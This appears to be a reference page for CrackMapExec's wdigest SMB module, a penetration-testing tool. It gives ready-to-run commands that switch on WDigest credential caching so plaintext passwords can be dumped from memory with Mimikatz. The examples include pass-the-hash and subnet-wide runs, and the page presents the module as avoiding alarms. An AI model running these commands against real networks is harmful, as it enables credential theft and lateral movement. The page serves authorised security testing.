CrackMapExec Wdigest (smb)


This page contains detailed information about how to use the wdigest CME module while using the smb protocol. For list of all CrackMapExec modules, visit the CrackMapExec Module Library.

Description

This module enables/disables WDigest credential caching by changing the UseLogonCredential value in registry (HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest). If it is enabled, then it is possible to dump cached credentials from memory by using tools such as Mimikatz. This is also called WDigest downgrade attack.

The wdigest module is OPSEC safe. This means that it doesn't touch the disk and therefore shouldn't trigger any alarms.

Supported Protocols

  • smb

Module Source Code

Authors

Module Options

As you can see below, the wdigest module has one option:

# cme smb -M wdigest --options
[*] wdigest module options:

            ACTION  Create/Delete the registry key (choices: enable, disable)

The ACTION option is required! Make sure you set it when using this module.

Module Usage

This is how to use the wdigest module while using the smb protocol:

Syntax:
# cme smb <TARGET[s]> -u <USERNAME> -p <PASSWORD> -d <DOMAIN> -M wdigest -o ACTION=<action>

Local admin:
# cme smb 10.0.5.1 -u Administrator -p P@ss123 -d . -M wdigest -o ACTION=enable
# cme smb 10.0.5.1 -u Administrator -p P@ss123 --local-auth -M wdigest -o ACTION=enable

Domain user:
# cme smb 10.0.5.1 -u bkpadmin -p P@ss123 -d target.corp -M wdigest -o ACTION=enable

CrackMapExec also supports passing the hash, so you can specify NTLM hash instead of a password:

# cme smb 10.0.5.1 -u Administrator -H 432b022dc22aa5afe884e986b8383ff2 -d . -M wdigest -o ACTION=enable
# cme smb 10.0.5.1 -u bkpadmin -H 432b022dc22aa5afe884e986b8383ff2 -d target.corp -M wdigest -o ACTION=enable
The wdigest module can be also used against multiple hosts. Here's how to run it against multiple hosts:

# cme smb target_list.txt -u Administrator -p P@ss123 -d . -M wdigest -o ACTION=enable
# cme smb 10.0.5.0/24 -u Administrator -p P@ss123 -d . -M wdigest -o ACTION=enable
# cme smb 10.0.5.1-100 -u Administrator -p P@ss123 -d . -M wdigest -o ACTION=enable

References

Version

This page has been created based on CrackMapExec version 5.1.7dev.
Visit CrackMapExec Module Library for more modules.